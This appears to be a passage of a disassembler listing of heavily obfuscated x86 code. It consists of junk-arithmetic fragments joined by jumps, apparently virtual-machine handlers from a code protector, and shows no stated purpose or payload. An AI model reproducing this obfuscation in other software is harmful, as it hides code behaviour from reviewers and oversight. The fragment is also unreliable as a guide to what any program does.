; ---------------------------------------------------------------------------


loc_586824:				; CODE XREF: ud2_____:005852BFj
		mov	al, 0FBh
		sub	ch, 29h
		add	ch, al
		add	ch, 29h
		mov	ax, [esp]
		jmp	loc_580EF4
; ---------------------------------------------------------------------------


loc_586837:				; CODE XREF: ud2_____:00580C26j
		add	edi, 4
		push	ebp
		jmp	loc_592251
; ---------------------------------------------------------------------------


loc_586843:				; CODE XREF: ud2_____:00580BBEj
		shr	esi, 6
		push	edx
		mov	edx, 6DEF12B1h
		xor	edx, 6A822E4Ch
		jmp	loc_58BFC5
; ---------------------------------------------------------------------------


loc_586857:				; CODE XREF: ud2_____:0058EED5j
		push	ebx
		mov	bl, ch
		mov	al, bl
		pop	ebx
		mov	dl, al
		mov	eax, [esp]
		add	esp, 4
		push	0E79h
		jmp	loc_585ECB
; ---------------------------------------------------------------------------


loc_58686F:				; CODE XREF: ud2_____:0057E6E3j
		sub	dword ptr [esp], 0F856149h
		pop	ecx
		add	ecx, 0F856149h
		pop	edx
		pop	esi
		jmp	loc_58B8D2
; ---------------------------------------------------------------------------


loc_586884:				; CODE XREF: ud2_____:00586B38j
		add	edi, 0E987E40h
		add	edi, ebp
		sub	edi, 0E987E40h
		jmp	loc_587E83
; ---------------------------------------------------------------------------


loc_586897:				; CODE XREF: ud2_____:0058FF97j
		sub	ah, 0AAh
		jmp	loc_591BC6
; ---------------------------------------------------------------------------


loc_58689F:				; CODE XREF: ud2_____:00580AA3j
		push	ebx
		pop	esi
		pop	ebx
		not	ebx
		push	6CE6h
		mov	[esp], esi
		push	4DCh
		mov	[esp], ebx
		jmp	loc_5833EC
; ---------------------------------------------------------------------------


loc_5868B9:				; CODE XREF: ud2_____:0058F402j
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		jmp	loc_5878F6
; ---------------------------------------------------------------------------


loc_5868CB:				; CODE XREF: ud2_____:00585088j
		mov	ebp, 1D4D35C5h
		jmp	loc_581FF8
; ---------------------------------------------------------------------------


loc_5868D5:				; CODE XREF: ud2_____:0057EE16j
		push	ecx
		push	527001C9h
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, 3E557364h
		sub	esp, 4
		mov	[esp], ecx
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	ecx
		sub	ecx, 0AE148791h
		mov	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 57FD7D90h
		jmp	loc_59240D
; ---------------------------------------------------------------------------


loc_58690D:				; CODE XREF: ud2_____:00585E35j
		mov	edi, esp
		push	eax
		mov	eax, 4
		jmp	loc_58F678
; ---------------------------------------------------------------------------


loc_58691A:				; CODE XREF: ud2_____:0057F2BAj
		push	67CBh
		jmp	loc_581C1C
; ---------------------------------------------------------------------------


loc_586924:				; CODE XREF: ud2_____:00589A15j
		mov	esi, 4
		add	edx, esi
		mov	esi, [esp]
		jmp	loc_58D84F
; ---------------------------------------------------------------------------


loc_586933:				; CODE XREF: ud2_____:0058D31Dj
		pop	esi
		push	small 463Fh
		mov	[esp], di
		push	edx
		jmp	loc_5891B0
; ---------------------------------------------------------------------------


loc_586942:				; CODE XREF: ud2_____:00592789j
		sub	ebp, ecx
		pop	ecx
		pop	eax
		jmp	loc_58C233
; ---------------------------------------------------------------------------


loc_58694B:				; CODE XREF: ud2_____:0058C592j
		mov	[esp], ebp
		pop	eax
		jmp	loc_58155B
; ---------------------------------------------------------------------------


loc_586954:				; CODE XREF: ud2_____:00592652j
		mov	[esp], edx
		jmp	loc_581C06
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 43C15481h
		shl	edx, 3
		sub	edx, 7374B9Ah
		push	ebx
		mov	ebx, 1F91699Dh
		add	eax, ebx
		jmp	loc_58AAF3
; ---------------------------------------------------------------------------


loc_586981:				; CODE XREF: ud2_____:0058716Fj
		add	eax, 52024B1Dh
		xor	ebx, eax
		jmp	loc_58FEF5
; ---------------------------------------------------------------------------


loc_58698D:				; CODE XREF: ud2_____:00585022j
		sub	al, 1
		push	ecx
		mov	ch, 2Eh
		sub	al, ch
		mov	ecx, [esp]
		jmp	loc_58ECE1
; ---------------------------------------------------------------------------


loc_58699C:				; CODE XREF: ud2_____:00592931j
		push	ebp
		mov	ebp, 1470C1F3h
		jmp	loc_5918DD
; ---------------------------------------------------------------------------


loc_5869A7:				; CODE XREF: ud2_____:0058871Fj
		and	ah, 55h
		sub	ah, 0AAh
		jmp	loc_585589
; ---------------------------------------------------------------------------


loc_5869B2:				; CODE XREF: ud2_____:005808C8j
		push	ebx
		jmp	loc_583C2D
; ---------------------------------------------------------------------------


loc_5869B8:				; CODE XREF: ud2_____:0057FB72j
		shr	esi, 7
		push	ecx
		mov	ecx, 0CA375B7h
		xor	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 39107F44h
		xor	esi, edi
		pop	edi
		sub	ebp, esi
		mov	esi, [esp]
		jmp	loc_581BB3
; ---------------------------------------------------------------------------


loc_5869D7:				; CODE XREF: ud2_____:0058407Dj
		push	esp
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58CD1F
; ---------------------------------------------------------------------------


loc_5869F0:				; CODE XREF: ud2_____:00582D93j
		shr	ecx, 6
		push	320Ah
		mov	[esp], ebx
		jmp	loc_589F6D
; ---------------------------------------------------------------------------


loc_586A00:				; CODE XREF: ud2_____:0058A57Fj
		mov	[esp], ecx
		push	ebx
		mov	ebx, edi
		mov	ecx, ebx
		pop	ebx
		mov	ebp, ecx
		pop	ecx
		mov	ebx, ebp
		pop	ebp
		push	ebx
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	ecx
		push	5837h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	ecx, ecx
		jz	loc_584296
		push	esp
		push	dword ptr [esp]
		jmp	loc_585D85
; ---------------------------------------------------------------------------


loc_586A4D:				; CODE XREF: ud2_____:00591FC4j
		pop	edi
		mov	edi, eax
		jmp	loc_591FC9
; ---------------------------------------------------------------------------


loc_586A55:				; CODE XREF: ud2_____:00583BC9j
		pop	ebp
		jmp	loc_58A3F1
; ---------------------------------------------------------------------------


loc_586A5B:				; CODE XREF: ud2_____:00584E9Fj
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_586A73:				; CODE XREF: ud2_____:00589DB4j
		push	edx
		mov	edx, eax
		mov	esi, edx
		pop	edx
		pop	eax
		jmp	loc_5924D8
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		mov	ebp, 460A1B55h
		push	edx
		push	ebp
		mov	ebp, 52C03CDAh
		sub	ebp, 0F0C32854h
		mov	edx, ebp
		jmp	loc_58C075
; ---------------------------------------------------------------------------


loc_586A9A:				; CODE XREF: ud2_____:0058B7A3j
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58B31E
; ---------------------------------------------------------------------------


loc_586AA5:				; CODE XREF: ud2_____:00582FD9j
		sub	bl, ch
		pop	cx
		pop	edx
		jmp	loc_59264F
; ---------------------------------------------------------------------------


loc_586AAF:				; CODE XREF: ud2_____:00582724j
		mov	[esp], edx
		mov	dh, 4Ch
		push	eax
		push	ecx
		mov	ch, 0E9h
		jmp	loc_582FE9
; ---------------------------------------------------------------------------


loc_586ABD:				; CODE XREF: ud2_____:00582A97j
		sub	cl, 96h
		add	al, cl
		pop	ecx
		sub	al, 62h
		push	small 5232h
		jmp	loc_5881CB
; ---------------------------------------------------------------------------


loc_586ACE:				; CODE XREF: ud2_____:0058336Bj
		push	edx
		mov	edx, 2A3B472Ah
		mov	ebp, edx
		pop	edx
		jmp	loc_58D627
; ---------------------------------------------------------------------------


loc_586ADC:				; CODE XREF: ud2_____:0058B584j
		neg	bh
		shl	bh, 2
		jmp	loc_57E8FB
; ---------------------------------------------------------------------------


loc_586AE6:				; CODE XREF: ud2_____:0058F7DCj
		sub	ebp, 3FEFBFD4h
		add	ebx, 1DC03B8Ah
		add	ebx, ebp
		sub	ebx, 1DC03B8Ah
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	16B5h
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_58D3EE
; ---------------------------------------------------------------------------


loc_586B1F:				; CODE XREF: ud2_____:00583EBBj
		add	esp, 4
		add	esp, 4
		push	5D1Ah
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_586884
; ---------------------------------------------------------------------------


loc_586B3D:				; CODE XREF: ud2_____:005830A1j
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_582111
; ---------------------------------------------------------------------------


loc_586B49:				; CODE XREF: ud2_____:0057F95Ej
		pop	ebx
		and	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_592391
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5833A9
; ---------------------------------------------------------------------------


loc_586B5F:				; CODE XREF: ud2_____:0057EC72j
		pop	eax
		sub	esi, 464B2D81h
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_58F539
; ---------------------------------------------------------------------------


loc_586B75:				; CODE XREF: ud2_____:0058FBB3j
		add	esi, 4
		sub	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		push	ebx
		mov	bh, 11h
		xor	bh, 7Fh
		push	798h
		mov	[esp], edx
		mov	dh, 0E0h
		push	cx
		mov	ch, 0A5h
		sub	dh, ch
		pop	cx
		jmp	loc_584F1F
; ---------------------------------------------------------------------------


loc_586BA5:				; CODE XREF: ud2_____:0058267Dj
		shl	dl, 3
		add	dl, 0FAh
		sub	al, dl
		pop	edx
		jmp	loc_592E8D
; ---------------------------------------------------------------------------


loc_586BB3:				; CODE XREF: ud2_____:0058CAC8j
		sub	ebx, 247372Ah
		add	ebx, 0F7E71D3h
		and	ebx, 3712125Ah
		xor	ebx, 56F48430h
		sub	eax, ebx
		jmp	loc_5885E9
; ---------------------------------------------------------------------------


loc_586BD2:				; CODE XREF: ud2_____:0058888Ej
		xor	edx, 99A4DFC5h
		jmp	loc_585D78
; ---------------------------------------------------------------------------


loc_586BDD:				; CODE XREF: ud2_____:0058BBFFj
		push	ecx
		push	di
		mov	di, 6E42h
		mov	cx, di
		pop	di
		or	cx, 602Bh
		inc	cx
		xor	cx, 4F2h
		and	cx, 3898h
		jmp	loc_58C345
; ---------------------------------------------------------------------------


loc_586BFF:				; CODE XREF: ud2_____:00584A54j
		push	edx
		mov	edx, esp
		jmp	loc_59088A
; ---------------------------------------------------------------------------


loc_586C07:				; CODE XREF: ud2_____:0058658Ej
		xor	ebp, ebx
		pop	ebx
		add	esi, ebp
		pop	ebp
		add	esi, 0C673228Eh
		mov	edi, esi
		pop	esi
		neg	edi
		xchg	ebx, edi
		not	ebx
		xchg	ebx, edi
		push	edx
		mov	edx, 15435FB6h
		jmp	loc_58BF7B
; ---------------------------------------------------------------------------


loc_586C29:				; CODE XREF: ud2_____:00580EB4j
		push	edi
		mov	edi, 334A094Fh
		sub	ebp, 38DA5D75h
		jmp	loc_58C6D4
; ---------------------------------------------------------------------------


loc_586C3A:				; CODE XREF: ud2_____:0058E24Fj
		mov	bh, 1
		sub	ch, bh
		jmp	loc_58CB60
; ---------------------------------------------------------------------------


loc_586C43:				; CODE XREF: ud2_____:00591D6Aj
		mov	[esp], edx
		push	6CD70F90h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_57F008
; ---------------------------------------------------------------------------


loc_586C54:				; CODE XREF: ud2_____:00584340j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5929A7
; ---------------------------------------------------------------------------


loc_586C5D:				; CODE XREF: ud2_____:00586FFFj
		add	esp, 4
		sub	edx, 61A01C99h
		jmp	loc_57FE33
; ---------------------------------------------------------------------------


loc_586C6E:				; CODE XREF: ud2_____:005880D7j
		add	ebp, ecx
		jmp	loc_592EEC
; ---------------------------------------------------------------------------


loc_586C75:				; CODE XREF: ud2_____:0059228Fj
		add	ebx, ecx
		jmp	loc_582B4B
; ---------------------------------------------------------------------------


loc_586C7C:				; CODE XREF: ud2_____:0058ADA2j
		xchg	ebx, [esp]
		pop	esp
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_586C89:				; CODE XREF: ud2_____:00583E96j
		mov	[esp], ebp
		mov	ebp, 40F015BFh
		sub	ebp, 39283EBBh
		inc	ebp
		shl	ebp, 3
		add	ebp, 323511D8h
		inc	ebp
		xor	ebp, 4B78AD7Ch
		sub	ebx, ebp
		pop	ebp
		jmp	loc_58B930
; ---------------------------------------------------------------------------


loc_586CB0:				; CODE XREF: ud2_____:00583644j
		add	esi, ebx
		jmp	loc_581366
; ---------------------------------------------------------------------------


loc_586CB7:				; CODE XREF: ud2_____:00586F8Cj
		xor	[esp+4], edi
		jmp	loc_582C38
; ---------------------------------------------------------------------------


loc_586CC0:				; CODE XREF: ud2_____:005833ACj
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ecx, 4
		jmp	loc_582488
; ---------------------------------------------------------------------------


loc_586CE7:				; CODE XREF: ud2_____:0058A5BEj
		mov	[esp], ebx
		mov	bl, 74h
		jmp	loc_57F59B
; ---------------------------------------------------------------------------


loc_586CF1:				; CODE XREF: ud2_____:0057ECBBj
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58AFDC
; ---------------------------------------------------------------------------


loc_586D10:				; CODE XREF: ud2_____:0058F0E3j
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		mov	edi, 2
		jmp	loc_58D6FB
; ---------------------------------------------------------------------------


loc_586D25:				; CODE XREF: ud2_____:00584122j
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_57EEA8
; ---------------------------------------------------------------------------


loc_586D32:				; CODE XREF: ud2_____:0058EE21j
		push	43F7D994h
		push	dword ptr [esp]
		jmp	loc_590F4D
; ---------------------------------------------------------------------------


loc_586D3F:				; CODE XREF: ud2_____:0058A83Bj
		push	edi
		mov	edi, esi
		jmp	loc_5812F0
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_585087
; ---------------------------------------------------------------------------


loc_586D5A:				; CODE XREF: ud2_____:0058C0C9j
		add	esi, 0F45EC0FCh
		mov	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		push	esi
		push	ebx
		mov	ebx, 0B4C3851h
		push	0B26432Eh
		pop	esi
		xor	esi, 7F0A2BF9h
		jmp	loc_58E5E3
; ---------------------------------------------------------------------------


loc_586D84:				; CODE XREF: ud2_____:00590C62j
		add	bh, 0D4h
		mov	cl, bh
		pop	ebx
		mov	al, 95h
		sub	al, cl
		jmp	loc_5873F7
; ---------------------------------------------------------------------------


loc_586D93:				; CODE XREF: ud2_____:00580908j
		add	eax, offset byte_522AD7
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		sub	esp, 4
		jmp	loc_59009B
; ---------------------------------------------------------------------------


loc_586DAD:				; CODE XREF: ud2_____:0057E477j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_57EC37
; ---------------------------------------------------------------------------


loc_586DB8:				; CODE XREF: ud2_____:0058A92Dj
		sub	edx, 38810D45h
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	edx, 732D1AEAh
		jmp	loc_58FE0E
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 20Bh
		jmp	loc_585FB3
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	666Bh
		mov	[esp], esi
		jmp	loc_58E728
; ---------------------------------------------------------------------------


loc_586DFA:				; CODE XREF: ud2_____:005898FBj
		pop	dword ptr [esp]
		not	eax
		jmp	loc_580DE7
; ---------------------------------------------------------------------------


loc_586E04:				; CODE XREF: ud2_____:00580CC7j
		add	ebx, 17AF5731h
		or	ebx, 265C6FD3h
		jmp	loc_58854A
; ---------------------------------------------------------------------------


loc_586E15:				; CODE XREF: ud2_____:0058F994j
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ebx
		push	ecx
		jmp	loc_5819AC
; ---------------------------------------------------------------------------


loc_586E3C:				; CODE XREF: ud2_____:0058D0D2j
		xor	ch, 46h
		shr	ch, 6
		push	eax
		mov	al, 0
		sub	al, 1
		sub	al, 0DCh
		xor	ch, al
		jmp	loc_591180
; ---------------------------------------------------------------------------


loc_586E50:				; CODE XREF: ud2_____:0058E1FAj
		mov	esp, [esp]
		push	ebx
		mov	ebx, 1812287Fh
		shl	ebx, 4
		push	edi
		mov	edi, 242E1688h
		add	edi, 79CE4BD5h
		and	edi, 537B0778h
		jmp	loc_580073
; ---------------------------------------------------------------------------


loc_586E73:				; CODE XREF: ud2_____:0058176Aj
		mov	[esp], ecx
		push	30AFC96Fh
		pop	ecx
		add	eax, 6FC27E3h
		sub	eax, ecx
		sub	eax, 6FC27E3h
		push	dword ptr [esp]
		pop	ecx
		push	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	dword ptr [esp+4], 0AE11387h
		add	[esp+4], edx
		sub	dword ptr [esp+4], 0AE11387h
		pop	edx
		pop	edx
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58E72E
; ---------------------------------------------------------------------------


loc_586ECE:				; CODE XREF: ud2_____:00583B1Fj
		mov	ebp, 55856E38h
		jmp	loc_58D65E
; ---------------------------------------------------------------------------


loc_586ED8:				; CODE XREF: ud2_____:00580C0Aj
		push	ebp
		jmp	loc_583DEC
; ---------------------------------------------------------------------------


loc_586EDE:				; CODE XREF: ud2_____:00583B00j
		not	edi
		sub	edi, 8237F396h
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_58C7A1
; ---------------------------------------------------------------------------


loc_586EF7:				; CODE XREF: ud2_____:0058B711j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_586F14:				; CODE XREF: ud2_____:005897F1j
		mov	ecx, 0C8AC1FC0h
		jmp	loc_589CA6
; ---------------------------------------------------------------------------


loc_586F1E:				; CODE XREF: ud2_____:0058D58Dj
		pop	eax
		push	318h
		jmp	loc_5857F5
; ---------------------------------------------------------------------------


loc_586F29:				; CODE XREF: ud2_____:00587904j
		mov	edi, 0C8032C1h
		mov	ebp, edi
		pop	edi
		shl	ebp, 1
		shr	ebp, 7
		push	2EFAh
		mov	[esp], ebx
		mov	ebx, 391A7552h
		inc	ebx
		push	ecx
		mov	ecx, 191456C0h
		jmp	loc_58C08E
; ---------------------------------------------------------------------------


loc_586F4F:				; CODE XREF: ud2_____:005856BBj
		add	ecx, 1
		or	ecx, 1EC73E38h
		or	ecx, 0F6373F9h
		push	edx
		mov	edx, 57393CE0h
		jmp	loc_580FFF
; ---------------------------------------------------------------------------


loc_586F6C:				; CODE XREF: ud2_____:005916C6j
		sub	eax, 52A73202h
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_580FF7
; ---------------------------------------------------------------------------


loc_586F83:				; CODE XREF: ud2_____:0058DFBFj
		mov	[esp], ebx
		push	edi
		mov	edi, 69B709A9h
		jmp	loc_586CB7
; ---------------------------------------------------------------------------


loc_586F91:				; CODE XREF: ud2_____:00582F3Aj
		add	esi, 4
		jmp	loc_5891B9
; ---------------------------------------------------------------------------


loc_586F9C:				; CODE XREF: ud2_____:0058A7EFj
		sub	esp, 4
		mov	[esp], edx
		push	esi
		mov	esi, 46BA5B69h
		push	esi
		pop	edx
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 6DB14D9Ch
		jmp	loc_58258A
; ---------------------------------------------------------------------------


loc_586FD2:				; CODE XREF: ud2_____:0058E772j
		pop	edi
		jmp	loc_58C77F
; ---------------------------------------------------------------------------


loc_586FD8:				; CODE XREF: ud2_____:0058A6A5j
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		pop	ebx
		push	ecx
		jmp	loc_58CA1E
; ---------------------------------------------------------------------------


loc_586FEC:				; CODE XREF: ud2_____:00587927j
		push	ebp
		jmp	loc_58C7FA
; ---------------------------------------------------------------------------


loc_586FF2:				; CODE XREF: ud2_____:005801DDj
		mov	[esp], esi
		jmp	loc_583A77
; ---------------------------------------------------------------------------


loc_586FFA:				; CODE XREF: ud2_____:005852A7j
		mov	esi, edi
		mov	edi, [esp]
		jmp	loc_586C5D
; ---------------------------------------------------------------------------


loc_587004:				; CODE XREF: ud2_____:0057FE05j
		mov	ecx, 4
		add	edx, 76522C5Dh
		add	edx, 370A73DEh
		add	edx, ecx
		sub	edx, 370A73DEh
		sub	edx, 76522C5Dh
		mov	ecx, [esp]
		jmp	loc_58D8F6
; ---------------------------------------------------------------------------


loc_58702B:				; CODE XREF: ud2_____:0058FCFFj
		sub	ebx, eax
		pop	eax
		jmp	loc_587D1D
; ---------------------------------------------------------------------------


loc_587033:				; CODE XREF: ud2_____:00589255j
		mov	eax, 44A1396Ch
		add	ebx, eax
		jmp	loc_5820E5
; ---------------------------------------------------------------------------


loc_58703F:				; CODE XREF: ud2_____:00584D45j
		push	esp
		jmp	loc_581FC3
; ---------------------------------------------------------------------------


loc_587045:				; CODE XREF: ud2_____:00583319j
		pop	esp
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58704B:				; CODE XREF: ud2_____:0059198Aj
		push	edx
		mov	edx, esp
		jmp	loc_59084A
; ---------------------------------------------------------------------------


loc_587053:				; CODE XREF: ud2_____:00584925j
		xor	edi, ebx
		pop	ebx
		push	esi
		mov	esi, edi
		mov	edx, esi
		mov	esi, [esp]
		jmp	loc_58FC58
; ---------------------------------------------------------------------------


loc_587063:				; CODE XREF: ud2_____:005916CFj
		push	2AE3h
		mov	[esp], ebp
		mov	ebp, 77A832D0h
		push	edx
		mov	edx, 59536F9Eh
		or	ebp, edx
		pop	edx
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	2FDF68D5h
		pop	ebp
		xor	ebp, 35257C89h
		push	ebp
		mov	ecx, [esp]
		jmp	loc_58973F
; ---------------------------------------------------------------------------


loc_587095:				; CODE XREF: ud2_____:00581010j
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5884E9
; ---------------------------------------------------------------------------


loc_5870A1:				; CODE XREF: ud2_____:0058F777j
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5870AC:				; CODE XREF: ud2_____:0058C894j
		add	ebx, edi
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	edi, 13004ADAh
		xor	edi, 663B2402h
		xor	eax, edi
		mov	edi, [esp]
		push	786Eh
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edi
		jmp	loc_5855D0
; ---------------------------------------------------------------------------


loc_5870DC:				; CODE XREF: ud2_____:0058A40Bj
		add	esp, 4
		push	eax
		push	edi
		pop	eax
		pop	edi
		push	edi
		xchg	esi, [esp]
		not	esi
		push	2812h
		mov	[esp], esi
		jmp	loc_58812F
; ---------------------------------------------------------------------------


loc_5870F6:				; CODE XREF: ud2_____:0058F338j
		xor	eax, 16F643CCh
		not	eax
		inc	eax
		sub	eax, 2B8F7FAAh
		sub	eax, 87576AAh
		inc	eax
		jmp	loc_59066C
; ---------------------------------------------------------------------------


loc_58710E:				; CODE XREF: ud2_____:0058CC7Aj
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 71587D96h
		add	edx, 874A6CBh
		xor	edi, edx
		jmp	loc_58D725
; ---------------------------------------------------------------------------


loc_58712A:				; CODE XREF: ud2_____:00581A10j
		pop	edi
		dec	ebp
		jmp	loc_58E8EB
; ---------------------------------------------------------------------------


loc_587131:				; CODE XREF: ud2_____:0058CEC7j
		pop	esp
		mov	[esp], ecx
		push	0C0Ah
		mov	[esp], esi
		push	edi
		push	44A34ECFh
		pop	edi
		inc	edi
		push	50Ch
		jmp	loc_58B9BB
; ---------------------------------------------------------------------------


loc_58714F:				; CODE XREF: ud2_____:005835C5j
		push	dword ptr [esp+4]
		jmp	loc_584773
; ---------------------------------------------------------------------------


loc_587158:				; CODE XREF: ud2_____:00592408j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58715D:				; CODE XREF: ud2_____:005819B3j
		pop	ecx
		push	eax
		mov	eax, 2EC045BFh
		sub	eax, 0FFFFFFFFh
		dec	eax
		not	eax
		add	eax, 0FFFFFFFFh
		jmp	loc_586981
; ---------------------------------------------------------------------------


loc_587174:				; CODE XREF: ud2_____:0057E3EAj
		shl	edx, 8
		xor	edx, 0B43A232Ch
		add	ebx, edx
		jmp	loc_58331E
; ---------------------------------------------------------------------------


loc_587184:				; CODE XREF: ud2_____:00581B49j
		add	esi, 387F5B4Ch
		sub	esi, 368F5D24h
		add	esi, edx
		jmp	loc_58E9F4
; ---------------------------------------------------------------------------


loc_587197:				; CODE XREF: ud2_____:005820A5j
		add	esp, 4
		pop	eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		xchg	eax, edi
		jmp	loc_588709
; ---------------------------------------------------------------------------


loc_5871A6:				; CODE XREF: ud2_____:00588A2Cj
		xor	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esi, eax
		jmp	loc_5824CC
; ---------------------------------------------------------------------------


loc_5871B9:				; CODE XREF: ud2_____:0058210Cj
		and	edx, 256202BBh
		xor	edx, 2102000Ch
		mov	ebp, edx
		pop	edx
		jmp	loc_58CDAF
; ---------------------------------------------------------------------------
		push	53947h
		jmp	loc_57F045
; ---------------------------------------------------------------------------


loc_5871D7:				; CODE XREF: ud2_____:00590DA6j
		mov	edx, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_589A5F
; ---------------------------------------------------------------------------


loc_5871E7:				; CODE XREF: ud2_____:00589530j
		sub	ebp, 0C9D6BAFh
		add	ebp, 1
		and	ebp, 74E05B1Eh
		shl	ebp, 5
		jmp	loc_585DCE
; ---------------------------------------------------------------------------


loc_587201:				; CODE XREF: ud2_____:0058FEF0j
		pop	eax
		mov	edi, ebx
		pop	ebx
		sub	ecx, 6F395BDFh
		add	ecx, edi
		add	ecx, 6F395BDFh
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58264A
; ---------------------------------------------------------------------------


loc_58722E:				; CODE XREF: ud2_____:005858B0j
		push	1A6h
		mov	[esp], ebx
		mov	ebx, 95E3866h
		jmp	loc_58B2CC
; ---------------------------------------------------------------------------


loc_587240:				; CODE XREF: ud2_____:00591D0Bj
		mov	[esp], ebx
		jmp	loc_58460A
; ---------------------------------------------------------------------------


loc_587248:				; CODE XREF: ud2_____:00589718j
		xor	esi, edx
		mov	edx, [esp]
		jmp	loc_58EA33
; ---------------------------------------------------------------------------


loc_587252:				; CODE XREF: ud2_____:0058A420j
		xor	ebx, [esp]
		jmp	loc_583501
; ---------------------------------------------------------------------------


loc_58725A:				; CODE XREF: ud2_____:005912F4j
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_58E3C4
; ---------------------------------------------------------------------------


loc_587267:				; CODE XREF: ud2_____:0057EA0Cj
		sub	eax, 0FFFFFFFFh
		dec	eax
		sub	eax, 0B3AEFCC1h
		and	ecx, eax
		pop	eax
		jmp	loc_5922CD
; ---------------------------------------------------------------------------


loc_587278:				; CODE XREF: ud2_____:00582EE0j
		mov	cl, 0BDh
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		jmp	loc_590526
; ---------------------------------------------------------------------------


loc_587289:				; CODE XREF: ud2_____:00585A14j
		pop	esp
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58728F:				; CODE XREF: ud2_____:00581F8Cj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_58B807
; ---------------------------------------------------------------------------


loc_5872A3:				; CODE XREF: ud2_____:005821A7j
		mov	edi, [esp]
		add	esp, 4
		push	24A5h
		mov	[esp], eax
		mov	eax, 7F0464C6h
		sub	dword ptr [esp+4], 5D26163Eh
		jmp	loc_57E923
; ---------------------------------------------------------------------------


